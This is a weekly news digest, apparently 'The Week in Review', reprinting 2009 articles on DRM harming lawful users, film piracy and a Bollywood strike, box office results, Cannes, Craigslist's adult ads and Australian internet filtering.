It's a well-known story by now: Europe, the US, and plenty of other countries have made it generally illegal to circumvent DRM, even when users want to do something legal with the content. Sure, it sounds bad and Ars complains about it all the time, but come on—do anticircumvention laws really prevent real people in the real world from doing real things with their content? Or are the complaints largely dreamed up by copyleft activists who would like nothing more than to see the term "intellectual property" disappear into the tentacled maw of Cthulhu?

According to the first empirical study of its kind in the UK, by Cambridge law professor Patricia Akester, it's the former. DRM is so rage-inducing, even to ordinary, legal users of content, that it can even drive the blind to download illegal electronic Bibles.

Problems, problems everywhere

Akester's new paper, "Technological accommodation of conflicts between freedom of expression and DRM: the first empirical assessment," does pretty much what its title implies. Akester spent the last few years interviewing dozens of lecturers, end users, government officials, rightsholders, and DRM developers to find how DRM and anticircumvention laws affected actual use.

Problems were not hard to find. When Akester spoke with the UK's Royal National Institute of Blind People, Head of Accessibility Richard Orme told her that those with sight problem have the right "to create accessible copies of works" by using screen reading software, for instance, but these rights can be blocked be restrictive e-book DRM.

"The RNIB is very watchful of the issues around DRM," said Orme, "because it can see evidence of DRM preventing access to content in a world where digital technology actually makes information more accessible rather than less."

As an example, take the case of Lynn Holdsworth, who bought an electronic copy of the Bible from Amazon. It refused to allow text-to-speech, which Holdsworth required. She contacted Amazon, which has a policy of not refunding e-books after a successful download.

"On Amazon’s advice, Lynn Holdsworth contacted the publisher, but the publisher referred her back to Amazon," writes Akester. "Neither Amazon nor the publisher were able to assist her and she ended up obtaining an illegal copy of the work (which her screen reader application could access)."

Rightsholders will always point out that fair use and other exemptions to copyright don't necessarily allow access to any format the user wants. Professors who need film clips can just camcord off the screen! The blind can use Braille versions!

But analog "equivalents" aren't often equivalent in any meaningful sense of the word. Holdsworth noted that "it is not always possible to resort to non-digital [books] because of their size. She supplied an example: the standard version of Harry Potter and the Half Blood Prince contains about 600 pages, the large print version is only slightly bigger (at 998 pages), but the Braille version actually entails ten large volumes of text."

Libraries and lecturers

Everybody that Akester spoke with had some problem of their own. Film lecturers, who are allowed to put together clip compilations under UK law, still can't (legally) bypass the CSS encryption on DVDs.

Lecturers who don't know how to bypass the DRM are faced with an unappealing choice: those "unable to extract a clip from a commercial DVD lodged in their library collection are forced to tailor the content of their lectures to the VHS materials at their disposal. They contend that this happens frequently, given that most commercial DVDs are DRM protected."

End users are allowed to time-shift programs, but Jill Johnstone of the National Consumer Council notes that "the way DRM is being used is causing serious problems for consumers, including unreasonable limitations on the use of digital products and infringement of consumer rights. "

And the British Library runs into issues with DRM on a daily basis—especially when it needs to transfer materials to new formats for storage or preservation.

Akester interviewed Ars Technica's own Peter Bright, a British Library specialist on digital archiving, who pointed out just how ridiculous the whole situation has become, especially involving DVDs. "For these duplicates and migrations to be useful, the DRM protection must necessarily be defeated. The reality is that this is generally easy to do—for all the time and money spent on trying to protect optical discs, software workarounds are cheap, abundant and fairly reliable.”

Edge cases

To DRM developers and rightsholders, though, these are just edge cases, not worth coding into DRM schemes. Creating DRM that has any sort of security while still accommodating every legal use in every possible market is simply infeasible—though this does lead rightsholders to question the wisdom of DRM.

Shira Perlmutter of global music trade group IFPI told Akester in an interview, "You are not going to get a one size fits all DRM that will deal both with the consumer and the special interests exceptions and, in any case, you do not want to give up a system that works for 99 percent of cases because there is a particular issue with a particular kind of user when you can let the system work and then deal with that user."

Are rightsholders willing to "deal with users" who experience problems? Some are, but Akester found that many require a legislative prod before taking any action.

The study confirms what anyone who has ever wanted to rip a DVD to their computer or iPod could have told you: DRM, coupled with anticircumvention laws, makes pirates of us all.

Akester offers some possible solutions to the problem. They are worth reading, but they are also unlikely to be implemented for years. In the meantime, copyright exceptions for the blind, libraries, teachers, and for fair use will continue to be limited by a crafty mixture of code and law.

Of course, as Bright points out, the massive lobbying, legislative, legal, and technical effort that underlies all these DRM regimes does so little to stop piracy that we'd be tempted to laugh at the folly of it all if we weren't already weeping.
http://arstechnica.com/tech-policy/n...-of-us-all.ars





Fixing Hubble: No Sweat; Watching a Movie: No Way
AP

Atlantis astronauts fixed the Hubble Space Telescope so it could beam cosmic pictures to Earth, but playing DVDs on their laptops is proving too difficult.

With an unwanted off day Friday because thunderstorms prevented their scheduled landing, the astronauts intended to pass the time by watching movies they brought on the mission. But when they tried to play them, they found out that their laptops didn't have the proper software.

Engineers on the ground tried to troubleshoot the problem - just as they did when a hand rail almost prevented spacewalkers from fixing one instrument in Hubble. After more than an hour with no solution, the astronauts gave up.

Astronaut John Grunsfeld radioed to Earth that they'd have to wait to watch something at a terrestrial movie theater.
http://apnews.myway.com//article/200...D98BF91G0.html





Avant-Garde Film Group Gets New Home, Cheap
Larry Rohter

After months of uncertainty, the Film-Makers’ Cooperative, whose future was threatened early this year when it received an order of eviction from a city-owned building in TriBeCa, has found a new home, and on terms that are likely to make it the envy of other arts organizations and tenants across the city.

The group, which archives, distributes and restores experimental and avant-garde movies, has signed a five-year lease with the real estate developer Charles S. Cohen that calls for the organization to pay a symbolic rent of $1 a year.

“It’s amazing,” said Jonas Mekas, a filmmaker and one of the cooperative’s founders, “and amazing that there are still people like Cohen in this world.”

The new quarters, which the group hopes to occupy by Labor Day, are at 475 Park Avenue South, on the northeast corner of 32nd Street. The sixth-floor site will offer nearly four times as much space as the co-op’s current location at the Clocktower Building, where it is paying about $1 a square foot for approximately 900 square feet.

“It’s a beautiful and more accessible space,” said M. M. Serra, the film group’s executive director. “We’ll have offices and archives, and our films, some of which are one of a kind, will be in air-conditioning specifically designed to protect them, which we don’t have where we are now.”

As part of the move, a 15-seat theater is also being built at the 32nd Street location, “for the use of scholars and others who want to do research” into the approximately 5,000 films that the cooperative has in its archives, in formats ranging from 8 millimeter to video, Mr. Mekas said. Tentatively, it is to be named the Charles Theater, a double homage, to Mr. Cohen and to the old Charles Theater in the East Village, one of the first places in New York to show experimental films.

Mr. Cohen, the president and chief executive of Cohen Brothers Realty, is known as a film aficionado. He is the author of a book of movie trivia, won a Kodak Movie Award for a comedy short he wrote and directed, and was an executive producer of “Frozen River,” the feature-length film starring Melissa Leo that was released last year and earned two Oscar nominations.

“I was in a position to help, and I thought that I should,” Mr. Cohen said. “They are a wonderful group doing important work, and there is no other place to go and see this kind of thing. They needed a storage space for their archives, and this meets their needs.”

Founded in 1962, the Film-Makers’ Cooperative has since the start of the decade occupied space controlled by the P.S. 1 Contemporary Art Center, another bulwark of the city’s avant-garde artistic establishment. But late last year, P.S. 1 decided to give up the site and turn it over to Alanna Heiss, its founder and former executive director, so that she could use the location as a base for her latest project, an Internet radio station called Art International Radio.

Before that, the Film-Makers’ Cooperative operated for many years out of an office on Lexington Avenue at 31st Street, which it had to leave in 2000 because of redevelopment there. So returning to the same neighborhood on such favorable terms “in a way brings things full circle,” Mr. Mekas said.
http://www.nytimes.com/2009/05/28/movies/28film.html





A Dispute Half a World Away Darkens a Movie House in Queens
Kirk Semple

A surge at the box office has made this spring a surprisingly happy one for the movie business. And as the big summer films arrive, Americans are expected to pile into theaters in even greater numbers.

Yet at one little cinema in Jackson Heights, Queens, the plot line is not so happy. The Eagle Theater is shut tight, its steel burglar gate pulled down and its marquee blank, battered and dark.

The cause of the theater’s untimely closing — like many things that happen in this bustling immigrant neighborhood — lies not in New York but clear on the other side of the planet.

In Mumbai, India, a seven-week-old strike by film producers has brought Bollywood, that country’s multibillion-dollar film industry, to a halt. The Eagle specializes in first-run Bollywood movies, and without a supply of new films, theaters like it around the world have had to screen old ones, dip into the pricier Hollywood and European film catalogs — or shut down.

“You get more frustrated when you have no say in it,” said Mohammad Asif, a Pakistani businessman who helps to manage the 500-seat Eagle, nestled in the heart of a neighborhood thick with immigrants from India, Pakistan and Bangladesh and shops selling products from South Asia. “We’re not part of their problem, but we’re affected.”

Bollywood producers began striking in early April, after the owners of India’s multiplexes rejected their demand for a larger share of the theaters’ profits. The Eagle, owned by a Pakistani business associate of Mr. Asif’s, closed soon afterward.

Mr. Asif said business had also been “pretty bad” at the movie house he owned, the Bombay Theater in Fresh Meadows, Queens. It remains open, though just barely, and is screening a recently released Punjabi film whose distribution was not affected by the dispute in Mumbai.

He and his business associate, Amjad Khawaja, bought their theaters 15 years ago, converting them from pornographic movie houses. And Mr. Asif said the Eagle would reopen as soon as the strike ended and new films were finished.

In fact, the temporary ravages of the strike, he said, are minor compared with a longer-term scourge that threatens scores of small ethnic movie houses like his across the country: film piracy.

As illegal versions of new films — including those from the vibrant Bollywood and Latino film industries — have proliferated farther and faster around the world, especially through file-sharing Web sites, box office revenue has fallen at small theaters that build their programming around new releases, industry experts say.

A year and a half ago, Mr. Asif said, the Eagle welcomed about 1,000 customers a week. By this spring, before the strike, that number had fallen to about 400.

“To be perfectly honest,” he said, “the last two years have been tough. A year ago was very tough. The last six months? Tough, tough and tough.”

“We can go dry for a month, six weeks, no big deal. But piracy. ...” His voice trailed off. “The slow, poisonous effect of piracy,” he muttered.

Patrick Corcoran, a spokesman for the National Association of Theater Owners, a trade organization based in Washington, said that according to a study commissioned by the Motion Picture Association of America, pirated films cost American movie theaters about $700 million in lost revenue in 2005. Market experts believe that the annual losses have only mounted since then.

“If you talk to the studios, they’ll tell you that keeping a film off the Internet or off the streets for a week will mean tens of millions of dollars to them,” Mr. Corcoran said.

Theaters that specialize in films from developing countries can be hurt even more by slow distribution networks. The longer a new foreign film has been in release abroad, Mr. Corcoran said, the better the chances that it will be pirated and illegally distributed in the United States.

In the South Asian community of Jackson Heights, the Eagle’s closing has left some moviegoers feeling bereft.

Seema Kapoor, 51, an Indian-American who lives in nearby Woodside and works as a saleswoman at a duty-free shop in La Guardia Airport, said she used to go to the Eagle at least once a month, with her sister, who visits frequently from Philadelphia, or a group of about 15 female co-workers from India, Pakistan, Bangladesh and Nepal.

“We’d say, ‘Let’s go to do some shopping in Jackson Heights,’ and we used to make a plan to go see a movie,” Ms. Kapoor said, adding that the theater’s proximity to her house — within walking distance — made the experience that much better.

Employees at a video and music store next to the shuttered theater said their business had suffered since the Eagle closed because there was less foot traffic on the block.

Still, on a recent afternoon, customers streamed in and out of the store, which specializes in South Asian films and music. An Indian customer at the counter asked for a film called “Gumnaam: The Mystery.” The clerk pulled the DVD from a shelf and handed it to him, but the man seemed unsatisfied.

“Do you have the cheaper one?” the man asked, using code for a pirated version. The clerk demurred, yet the man asked again. The clerk, a college student from Pakistan, just shook his head.

The customer turned to this reporter and smiled somewhat sheepishly. He said he lived in both Mumbai and New York and used to see movies at the Eagle frequently. “Every movie,” he said. “For years now.”

Asked what he did for a living, the man paused. Suddenly the woman next to him whirled around and blurted: “He’s a movie producer! His nieces are the biggest stars in India.” She pointed at the DVD in his hand and exclaimed, “That’s his!”

He was Shubir Mukerji, managing director of Filmalaya, a Bollywood film production company. The woman was his wife, Melissa. She said she had grown tired of watching him perform his undercover investigations to see whether his film, which was released in December, had already fallen into the stream of the American street piracy market.

“He was acting,” she said. “Doing a bad job.”

Mr. Mukerji explained that he was on an unplanned vacation in the United States because of the strike; he was supposed to have been shooting his next film in Frankfurt and London.

He was hopeful, he said, that the strike would end soon: The Bollywood producers were waiting for a reply to their latest settlement proposal. “We offered them a good deal,” he said. “We hope they’ll accept it.”

With that, he paid $15 for an authentic DVD of “Gumnaam: The Mystery” and, with his wife and young daughter in tow, disappeared into the pedestrian bustle of Jackson Heights.

Majeed Babar contributed reporting.
http://www.nytimes.com/2009/05/27/ny...bollywood.html





Fire Power? ‘Night at the Museum’ Outguns ‘Terminator’
Michael Cieply

“Night at the Museum: Battle of the Smithsonian” topped the Memorial Day box office fight with $70 million in ticket sales, while the Smithsonian Institution, which screened it in its Imax theaters, made a rare showing as Hollywood’s best-selling film showplace for the holiday weekend.

“Terminator Salvation,” an action sequel released by Warner Brothers, took in about $53.8 million for the four-day weekend, and $67.2 million since its release on Thursday, to place second behind “Battle of the Smithsonian,” a sequel to “Night at the Museum,” from 20th Century Fox.

The total box office for the four days ending on Monday was about $223 million, up 1.7 percent from last year, thanks to an increase in ticket prices, according to figures from the Hollywood.com Box Office reporting service.

Directed by Shawn Levy, “Battle of the Smithsonian” is about characters and creatures who come to life at what the movie calls the world’s biggest museum. It gave its star, Ben Stiller, his biggest opening in a live-action film.

“Battle of the Smithsonian” got a major boost from Imax showings, which accounted for about $5.4 million in ticket sales, or roughly 8 percent of the box office over the four days. In an unusual twist, a pair of screens that alternated “Battle” with conventional museum fare at the real-life Smithsonian Institution in Washington had $119,000 in sales for the four days, the best performance of any theater in the United States, said Greg Foster, chairman and president of Imax Filmed Entertainment.

The movie’s strong showing vindicated Fox strategists, who risked opening it against “Terminator Salvation” at the height of Hollywood’s blockbuster season, rather than trying to duplicate the performance of the original “Night at the Museum.” That film, released during the Christmas holiday in 2006, took in just $30 million during its first weekend, though it ultimately had more than $250 million in domestic ticket sales, as it played for months with less direct competition.

“It’s all about comedy,” Chris Aronson, a senior vice president at Fox’s distribution unit, said on Monday, describing the audience mood that lifted “Battle of the Smithsonian.”

Mr. Aronson said he expected the film’s PG rating to be an advantage in coming weeks when it will compete against comedies like “Land of the Lost,” from Universal Pictures, and “Year One,” from Sony Pictures, which both have the more restrictive PG-13 rating.

“Terminator Salvation,” directed by McG and starring Christian Bale, was independently produced, with Warner Brothers and Sony Pictures Entertainment splitting its distribution around the world. The film suffered a bit from having no Imax version: demand for the big screens has outstripped supply of late. It might also have been hurt by televised basketball playoffs that drained some of the young male audience, and the PG-13 rating, which suggested that it was less rough than its predecessors in the long-running “Terminator” series.

Dan Fellman, Warner Brothers’ theatrical distribution president, noted that the film outperformed “Battle of the Smithsonian” in Canada, pointing to a possible strength as it plays around the world.

Overall box office receipts for the Memorial Day weekend fell short of the $254.6 million taken in during the holiday in 2007, when “Pirates of the Caribbean: At World’s End” pushed the total to a record. So far this year, domestic box office revenue is about $3.9 billion, up about 14.5 percent from $3.4 billion last year, Hollywood.com Box Office said.

The weekend’s third-ranked film was “Star Trek,” which took in $29.4 million for Paramount Pictures for the four days, for a total of $191 million since it was released on May 8.

“Angels & Demons,” from Sony Pictures, ranked fourth, with about $27.7 million in sales for the four days, and a total of $87.8 million since its release on May 15.

“Dance Flick,” a dance-film parody from Paramount, was fifth, with $13.1 million in sales for the four days, and $10.7 million in its first three-day weekend.
http://www.nytimes.com/2009/05/26/movies/26box.html





Popular Film Wins Cannes, But "Antichrist" Lingers
Mike Collett-White and James Mackenzie

The Cannes film festival ended with a popular winner in Austrian director Michael Haneke, but the starkest image at the world's biggest cinema showcase may be Lars von Trier's searing "Antichrist."

Haneke's "The White Ribbon" was awarded the coveted Palme d'Or (Golden Palm) at the closing ceremony late on Sunday, and the jury praised the 67-year-old for his understated, subtle examination of the roots of Nazi terror.

Italy's Corriere della Sera newspaper on Monday called the film "the most anomalous, profound and alarming of the festival," while France's Le Figaro described it as "superb."

Shot in black-and-white, and set in a north German village on the eve of World War One, The White Ribbon explores how an oppressive upbringing can shape the way children act and think.

The director, whose last Cannes entry "Hidden" failed to grab the Golden Palm despite being the overwhelming favorite, insisted The White Ribbon was not just about the rise of fascism in Germany but of any kind of violent fanaticism.

There was mild grumbling among festival goers that French competition film "A Prophet" did not win.

Jacques Audiard's powerful prison drama topped critics' polls ahead of the awards ceremony, although it did receive the runner-up Grand Prix prize.

Several commentators noted that the jury president Isabelle Huppert starred in Haneke's 2001 "The Piano Teacher" and picked up the best actress award for it in Cannes.

But the biggest controversy in Cannes, the kind on which a film festival typically thrives, was Antichrist, Von Trier's sexually explicit, graphically violent tale of a grieving couple whose stay in a remote cabin turns into a living hell.

Loud boos at the press screening drowned out a handful of viewers who applauded, and many in the audience said they were offended by what they saw as its gratuitously graphic content.

Von Trier further angered reporters by declaring at a news conference "I haven't done it for you or an audience."

Charlotte Gainsbourg, who stars in the film with Willem Dafoe, picked up the best actress award.

Low Star Turnout

The award ceremony brought the curtain down on a 12-day festival where the global financial crisis was reflected in a low star turnout on the red carpets and at late-night parties for which Cannes is famous.

The deal-making that is another integral part of the festival was also reported to be affected by the recession, although industry executives said there were still ready buyers for strong films and signs of improvement in the market.

In the competition itself, several well-liked pictures went unrewarded, from Pedro Almodovar's stylish "Broken Embraces" starring Penelope Cruz to Jane Campion's "Bright Star," the story of the poet John Keats and his love Fanny Brawne.

The closing entries to the competition, including Gaspar Noe's drug-fueled "Enter the Void" or Taiwanese director Tsai Ming-Liang's "Visage" also had a generally lukewarm reception.

But overall, the 62nd edition of the festival was widely judged to have been a success, despite critical reservations about some films.

"Maybe not the festival it appeared on paper, but not a bad Cannes either, and one that commendably kept going at full steam all the way to the end," trade paper Variety commented.
http://www.reuters.com/article/enter...49211320090525





Citizen Sex
Mark Gimein

It's been a lousy few months for sex on Craigslist. First, 43 state attorneys general banded together to demand that the world's biggest classified site take down its "erotic services" (read: prostitution) ads. Then, in March, right on cue, a man in New York was murdered by a teenager he met through Craigslist. Soon after, Boston cops arrested Philip Markoff, the med student accused of robbing, and in one case killing, escorts he found through Craigslist. Now South Carolina's attorney general is threatening to prosecute the site's employees.

"Just by being good guys, we've created a culture of trust and fairness," the site's eponymous founder, Craig Newmark, once told Wired. Well, sort of—if you don't count the occasional Jack the Ripper wannabe. Nothing spells "bad PR" like a sex and murder scandal.

If Craigslist were a conventional company, it would have a crisis PR firm gunning the engines to get as far away from sex ads as possible. But Craigslist is not. Many outlets have reported that Craigslist would drop its "erotic services" ads, but this is essentially a fiction. It has only reluctantly agreed to vet ads for explicit prostitution offers (ads that euphemistically offer massage or just leave the details of about what to expect are still OK) and replaced the controversial category with the essentially identical "adult services." The Week in Review is edited and published by Jack Spratts. Meanwhile, the "casual encounters" section—ads for "no strings attached" sex that are often more lurid than the paid-sex ads in "erotic services"—remains as active and unregulated as ever. And Craigslist has even managed to fan the fires by suing the attorney general of South Carolina.

All of which raises an obvious question: Why do the people behind the 13th most visited site in the United States run ads for prostitution and kink in the first place?

Both people who've seen the sex ads and those who haven't tend to assume it's just something that Craigslist does. Or maybe people are just too polite to ask: In a 20-minute interview that Newmark gave to Charlie Rose, the subject never came up. But like a lot of questions that get brushed off as too obvious to worry about, it's worth asking. You don't need to look at the sex ads, but unless you've thought about why they're there, you won't understand what Craigslist is about.

For all the stories written about Craigslist and the profiles of its founder, the company can still baffle anybody trying to make sense of it. A telling episode was the performance of Jim Buckmaster, the CEO who runs Craigslist day to day, at an investor conference where he was asked to explain the company's strategy for maximizing revenue. Buckmaster answered that it didn't have one ... or want one because that wasn't the point.

But Craigslist is not, despite the .org in its address, a nonprofit or a strictly free online ads service: It charges for job ads and some rental ads. On the other hand, it is not exactly, as Buckmaster made clear to the investment folks, a for-profit enterprise, either. The site could make a lot more money by charging for more categories of ads or even running display ads on some of its pages.

And so the crazy thing about the sex ads—both the "erotic services" ads to which prosecutors have objected and the "casual encounters" section—is that they seem to be a losing proposition from either the nonprofit or for-profit point of view.

From the money-making standpoint, the sex ads create notoriety, but they sure don't build what the marketing types like to talk about as "brand equity." Buckmaster has pointed out that the ads are in some ways no different from those that appear in the back pages of many alternative weeklies. (Though in other ways, they are different: If you're too shy to see for yourself, the Entourage episode with the girl in the big pink bunny costume will give you an idea of how.) But we know why those papers run their ads: They get paid for them. They don't like running them, and if the ads weren't a moneymaker, they wouldn't.

But from the do-gooder nonprofit standpoint, the sex ads are a loser as well. The explicit ads—many of them apparently fake, posted by people hoping to get dirty pictures e-mailed to them or just turned on by the idea—are not an obvious path to that "culture of trust and fairness." Yet the ads remain and multiply because there's something else at stake here.

In a profile of Newmark in New York magazine, there is a scene in which the writer, Philip Weiss, shows Newmark an e-mail he'd gotten from a woman who posted an ad for sex on Craigslist. "I wanted to have sex with someone who would meet my terms—that is, a nice person who wanted to have safe sex with No Strings Attached. ... It was very freeing! It's so hard for most women to go out and demand what they want in the bedroom." Newmark parses the e-mail as a reflection of how Craigslist reflects basic American values. "Freedom of choice," Newmark tells Weiss, "couldn't be any more basic."

What's interesting about the exchange is that Newmark doesn't make an effort to back away from or apologize for the sex ads. Just the opposite. To his mind, looking for "no strings attached" sex is precisely the kind of freedom that his list is supposed to reflect and encourage. This is not the dark cellar of Craigslist. It is its lifeblood.

Many social critics tend to set sail from a critique of money, believing that if only we could get rid of that, all would be well. Craigslist, by contrast, has no issue with money. The point of most classified ads, whether they involve selling your old hard drive or offering to strut around in a dominatrix outfit, is an exchange of money. But what clearly matters to Newmark is that this exchange should not be mediated by corporations or institutions. "A lesson that it was hard for [me] to learn," Newmark told Charlie Rose, "was that people are good and trustworthy and moderate." Craigslist is Newmark's vote of confidence in that lesson.

When you look at it in this way, the reason to keep all those sleazy ads on Craigslist becomes clearer. The free choice of sexual partners and practices and positions and everything else sex-related is just as much a part of the "let individuals connect in their own way" mission of Craigslist as the other ads. In the galaxy of sex ads, the ones for "erotic services" that have had state attorneys general up in arms, and to which Phillip Markoff responded, occupy a special place. They are not a sideshow but the ultimate example of what Newmark seems to want to accomplish. The point of the ads is that anyone at all can post one, and they allow the sex-for-money transaction to happen without the "escort service" demanding a cut.

You can think of that as the perfect metaphor for the Newmark worldview. Bad things don't come from what two individuals decide to do together. They come from the institutions that stand between them. The problem, in Newmark's world, is not prostitution. The problem is only the pimp.

The fight between Craigslist and state authorities is not over kinky classifieds but over two visions of human nature. It's not a question of not being able to filter out ads. (Craigslist has always been serious and vigilant about pedophilia.) It's a question of defending Craigslist's ideological core. For Newmark, almost anything two people agree on without outside interference is OK. For the prosecutors, obviously, it's not. Leave people to their own devices, says the state of South Carolina, and you will get evil.

On some of the facts that are playing out in the press now, Craigslist may be right. Yes, there've been murders tied to Craigslist ads. But there's also been one by a man who placed an ad for a baby sitter, and nobody is talking about banning those. In the long run, though, put your money on the states. Craigslist stands for an anarchic vision of peer-to-peer exchange, equally free of both procurers and prosecutors. Neither has had any trouble finding its way online.
http://www.reuters.com/article/bigMo...49449120090526





Christians Upset at Conroy's Net Policy 'Backtrack'
Asher Moses

The Australian Christian Lobby has accused the Federal Government of breaking its election promise to censor the internet after the policy was softened in the face of relentless criticism.

The lobby's managing director, Jim Wallace, wants the Government to introduce legislation forcing internet providers to block adult and pornography material on a mandatory basis, in addition to illegal content. Australians would then have to opt in to receive legal adult material.

Communications Minister Stephen Conroy has long said his policy would introduce compulsory ISP-level filters of the Australian Communications and Media Authority's blacklist of prohibited websites.

But he has since backtracked, saying the mandatory filters would only block content that has been "refused classification" (RC) - a subset of the ACMA blacklist - amid widespread concerns that ACMA's list contains a slew of R18+ and X18+ sites, such as regular gay and straight pornography and other legal content.

"That doesn't meet the election promise as far as we're concerned at all," Wallace said in a phone interview.

"The promise was clearly about providing a safer internet environment for children and to do that you need to mandatorily block in the first instance pornography and R18+, and then provide an opt-in system for those adults who want to access it."

The debate around internet filtering is now distinctly polarised, with technical experts and online users' lobby groups arguing that trying to censor the internet on a mandatory basis is authoritarian, hinders free speech and is doomed to fail, and religious conservatives arguing the policy does not go far enough.

Although the new Government plan to block just RC content will not prevent adults from surfing for porn, it is still fraught with difficulty as the RC category includes not just child pornography but anti-abortion sites, fetish sites and sites containing pro-euthanasia material such as The Peaceful Pill Handbook by Dr Philip Nitschke.

Sites added to the blacklist in error were also classified as RC, such as one containing PG-rated photographs by Bill Henson.

And the websites of several Australian businesses - such as those of a Queensland dentist - were classified RC and blacklisted after they were hacked by, as Conroy described, "the Russian mob".

They were on the blacklist even though they changed hosting providers and cleaned up their sites several years ago.
http://www.smh.com.au/articles/2009/...103585180.html


















Until next week,

- js.



















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